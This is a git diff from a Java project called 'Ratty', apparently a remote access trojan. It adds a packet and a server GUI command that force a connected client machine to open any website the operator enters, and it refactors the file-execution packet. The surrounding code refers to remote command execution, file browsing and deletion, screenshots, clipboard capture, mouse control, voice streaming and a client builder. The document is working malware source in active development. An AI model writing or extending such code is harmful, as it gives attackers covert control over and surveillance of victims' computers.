diff --git a/Ratty/res/menu_icons.png b/Ratty/res/menu_icons.png index 4eabfc5..144e0a4 100644 Binary files a/Ratty/res/menu_icons.png and b/Ratty/res/menu_icons.png differ diff --git a/Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java b/Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java index 59b8ad6..e554cca 100644 --- a/Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java +++ b/Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java @@ -31,12 +31,14 @@ public final class ExecuteFilePacket implements IPacket { @Override public void execute(final ActiveClient client) { + final boolean desktopSupported = Desktop.isDesktopSupported(); final File file = new File(path); - if (Desktop.isDesktopSupported() && file.exists()) { + if (desktopSupported && file.exists()) { final Desktop desktop = Desktop.getDesktop(); + final boolean canOpen = desktop.isSupported(Action.OPEN); - if (desktop.isSupported(Action.OPEN)) { + if (canOpen) { try { desktop.open(file); } catch (final IOException ex) { diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 94f9d96..70ac8d9 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -18,7 +18,8 @@ public enum PacketType { FOLDER(13, CreateFolderPacket.class), DELETE(14, DeleteFilePacket.class), MOUSE_EVENT(15, MouseEventPacket.class), - VOICE(16, VoicePacket.class); + VOICE(16, VoicePacket.class), + WEBSITE(17, WebsitePacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/packet/WebsitePacket.java b/Ratty/src/de/sogomn/rat/packet/WebsitePacket.java new file mode 100644 index 0000000..414808c --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/WebsitePacket.java @@ -0,0 +1,65 @@ +package de.sogomn.rat.packet; + +import java.awt.Desktop; +import java.awt.Desktop.Action; +import java.io.IOException; +import java.net.URI; +import java.net.URISyntaxException; + +import de.sogomn.rat.ActiveClient; + +public final class WebsitePacket implements IPacket { + + private String address; + + private static final String HTTP_PREFIX = "http://"; + + public WebsitePacket(final String address) { + final boolean hasPrefix = address.startsWith(HTTP_PREFIX); + + if (hasPrefix) { + this.address = address; + } else { + this.address = HTTP_PREFIX + address; + } + } + + public WebsitePacket() { + this(""); + } + + @Override + public void send(final ActiveClient client) { + client.writeUTF(address); + } + + @Override + public void receive(final ActiveClient client) { + address = client.readUTF(); + } + + @Override + public void execute(final ActiveClient client) { + final boolean desktopSupported = Desktop.isDesktopSupported(); + + if (desktopSupported) { + final Desktop desktop = Desktop.getDesktop(); + final boolean canBrowse = desktop.isSupported(Action.BROWSE); + + if (canBrowse) { + try { + final URI uri = new URI(address); + + desktop.browse(uri); + } catch (final IOException | URISyntaxException ex) { + ex.printStackTrace(); + } + } + } + } + + public String getAddress() { + return address; + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 4531490..4d603df 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -53,6 +53,7 @@ public final class RattyGui { public static final String FILES = "Browse files"; public static final String COMMAND = "Execute command"; public static final String CLIPBOARD = "Get clipboard content"; + public static final String WEBSITE = "Open website"; public static final String FREE = "Free client"; public static final String BUILD = "Client builder"; @@ -64,6 +65,7 @@ public final class RattyGui { FILES, COMMAND, CLIPBOARD, + WEBSITE, FREE }; diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 3335dd4..b9786e5 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -29,6 +29,7 @@ import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.packet.UploadFilePacket; import de.sogomn.rat.packet.VoicePacket; +import de.sogomn.rat.packet.WebsitePacket; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.IServerObserver; import de.sogomn.rat.util.FrameEncoder.IFrame; @@ -158,6 +159,12 @@ public final class RattyGuiController implements IServerObserver, IClientObserve packet = new MouseEventPacket(x, y, button, MouseEventPacket.RELEASE); } else if (command == RattyGui.VOICE && !serverClient.isStreamingVoice()) { packet = new VoicePacket(); + } else if (command == RattyGui.WEBSITE) { + final String input = JOptionPane.showInputDialog(null); + + if (input != null && !input.isEmpty()) { + packet = new WebsitePacket(input); + } } return packet;